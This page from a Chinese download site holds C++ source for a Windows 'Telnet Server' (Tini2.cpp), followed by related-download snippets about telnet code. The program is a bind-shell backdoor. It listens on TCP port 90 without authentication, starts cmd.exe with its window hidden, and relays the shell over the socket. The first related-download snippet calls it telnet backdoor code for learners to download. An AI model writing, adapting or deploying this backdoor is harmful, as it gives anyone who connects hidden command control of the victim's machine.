////////////////////////////////////////////////////////////////////////////////
//
// Telnet Server.
//
// File : Tini2.cpp
/////////VC 6.0编译通过///////////////////////////////////
#include
#include
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "kernel32.lib")
#define PORT 90
SOCKET ServerSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;
u_char varA,varB;
DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadPipe,
&hWriteFile,
&pipeattr,
0);
varA = 1;
while(true)
{
Sleep(250);
nByteToWrite = recv(ClientSocket,
recv_buff,
1024,
0);
WriteFile(hWriteFile,
recv_buff,
nByteToWrite,
&nByteWritten,
NULL);
}
return 0;
}
DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
char send_buff[25000];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadFile,
&hWritePipe,
&pipeattr,
0);
varB = 1;
while (true)
{
ReadFile(hReadFile,
send_buff,
25000,
&len,
NULL);
send(ClientSocket,
send_buff,
len,
0);
}
return 0;
}
void main()
{
WSADATA WSAData;
struct sockaddr_in RemoteAddr;
int nRetCode;
DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
OSVERSIONINFO osvi;
PROCESS_INFORMATION processinfo;
STARTUPINFO startinfo;
WSAStartup(MAKEWORD(2,2),&WSAData);
ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
RemoteAddr.sin_family = AF_INET;
RemoteAddr.sin_port = htons(PORT);
RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;
bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
listen(ServerSocket, 5);
varA = 0;
varB = 0;
CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);
do{
Sleep(250);
}while((varA || varB) == 0);
GetStartupInfo(&startinfo);
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput = hReadPipe;
startinfo.hStdError = hWritePipe;
startinfo.hStdOutput = hWritePipe;
startinfo.wShowWindow = SW_HIDE;
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osvi);
char szAPP[256];
GetSystemDirectory(szAPP,MAX_PATH+1);
if(osvi.dwPlatformId == 2)
{
strcat(szAPP,"\\cmd.exe");
if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0,
NULL, NULL, &startinfo, &processinfo) == 0)
{
printf ("CreateProcess Error!\n");
return;
}
}
else
{
strcat(szAPP,"\\command.exe");
CreateProcess(NULL,szAPP,0,0,true,0,0,0,&startinfo,&processinfo);
}
while (true)
{
ClientSocket = accept(ServerSocket, NULL, NULL);
Sleep(250);
}
}
分享到:
相关推荐
telnet后门实现代码,想学习的兄弟赶快下了
标题“Telnet客户端源代码”指的是这个压缩包中包含了一段用于实现Telnet客户端功能的源代码。在计算机网络中,Telnet是一种协议,它允许用户通过Internet远程登录到另一台计算机上,从而可以像在本地机器上一样操作...
在本文中,我们将深入探讨telnet的实现原理、相关技术以及如何通过源代码学习Linux程序设计。 首先,telnet协议基于应用层的TCP/IP模型,它使用TCP作为传输层协议,提供一种无结构的数据传输方式。当用户在本地...
**telnet程序源代码详解** Telnet是一种网络协议,它允许用户通过Internet远程登录到另一台计算机上,就像坐在那台计算机前一样操作。对于初学者来说,理解telnet程序的源代码是学习网络通信、协议实现以及客户端-...
“telnet客户端的源代码”指的是提供了实现Telnet协议的客户端程序的原始编程代码。Telnet是一种网络协议,允许用户通过Internet远程登录到其他计算机系统,进行命令行交互。这里的源代码是开发者可以查看、修改和...
Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码...
【标题】"Telnet Linux 源代码"指的是在Linux操作系统环境下实现的Telnet客户端的原始编程代码。Telnet是一种网络协议,它允许用户通过Internet或其他网络从一个远程终端连接到另一台计算机,进行交互式的命令行操作...
**标题:“telnet 源代码”** **描述:**“一个很好用的telnet程式,可供大家参考,期望能对使用者带来便利。” **标签:**“一个很好用的telnet”、“方便大家使用参考” **文件名称列表:**“opentelnet源码” ...
标题 "SSH TELNET C 源代码" 提到的核心技术是 SSH 和 TELNET,它们都是网络协议,用于远程登录和控制服务器。C 语言是实现这些协议的基础,而 "WINDOWS窗体的构建" 表明源代码可能包含Windows GUI(图形用户界面)...
在给定的资源“C++版.Telnet服务器源代码.rar”中,我们可以深入探讨C++编程、服务器开发以及Telnet协议的相关知识。 首先,C++源代码是程序设计的基础,它是由程序员编写并可以被编译器转换成机器可执行的指令的...
标题"商业编程-源码-Telnet服务器源代码.zip"表明这是一个包含Telnet服务器源代码的压缩文件,适用于商业编程环境。这暗示了我们可能正在处理一个用于开发或学习网络通信协议的项目,特别是涉及到远程登录功能的实现...
Telnet服务端和客户端源代码是网络通信领域中的基础组件,它们主要用于实现远程登录功能。在本文中,我们将深入探讨Telnet协议的工作原理、服务端与客户端的源码实现及其相关知识点。 首先,让我们理解什么是Telnet...
在探讨如何创建telnet后门和超级隐藏用户之前,必须明确指出,此类操作涉及网络安全的敏感领域,不当使用可能导致非法入侵、数据泄露等严重后果,违反相关法律法规。因此,本文旨在提供理论上的技术解析,强调合法...
之前传了一个压缩包,居然有密码,而且我自己都解不开,重新传一个,就不收分了
在本文中,我们将深入探讨如何使用Microsoft Visual C++(简称VC)编写一个基于CEditView的telnet客户端源代码,以及在这个过程中涉及的关键知识点。首先,让我们了解什么是telnet客户端和CEditView。 **Telnet...
本文将深入探讨`telnet`源代码范例,以及如何利用它来开发BBS程序和其他相关应用。 `telnet`协议基于TCP/IP,允许用户通过Internet连接到远程主机,并执行该主机上的命令。它的工作原理是通过建立一个虚拟终端,使...
本资源提供了一个基于Delphi的Telnet工具及其源代码,这对于学习如何在Delphi中实现远程登录功能以及进行网络通信具有很高的价值。 首先,让我们深入理解什么是Telnet。Telnet是一种协议,允许用户通过Internet或...
《telnet协议与Java客户端源代码解析》 在IT领域,网络通信协议是构建网络应用的基础,其中telnet协议作为一款历史悠久的远程登录协议,它为用户提供了在不同主机之间进行交互的能力。本文将深入探讨telnet协议的...
**标题:“Telnet源代码”** 在IT领域,Telnet是一种古老的远程登录协议,它允许用户通过网络在一台远程计算机上执行命令。源代码是指编程语言编写的原始指令集合,可以被编译或解释成可执行文件。"Telnet源代码...
《telnet源代码肥水不外流》 在IT领域,了解并研究源代码是提升技术能力的重要途径。本文将围绕“telnet”这一主题,深入探讨telnet服务器的源代码,通过分析`telnetserver.c`、`pty_fun.h`、`pty_fun.c`以及`...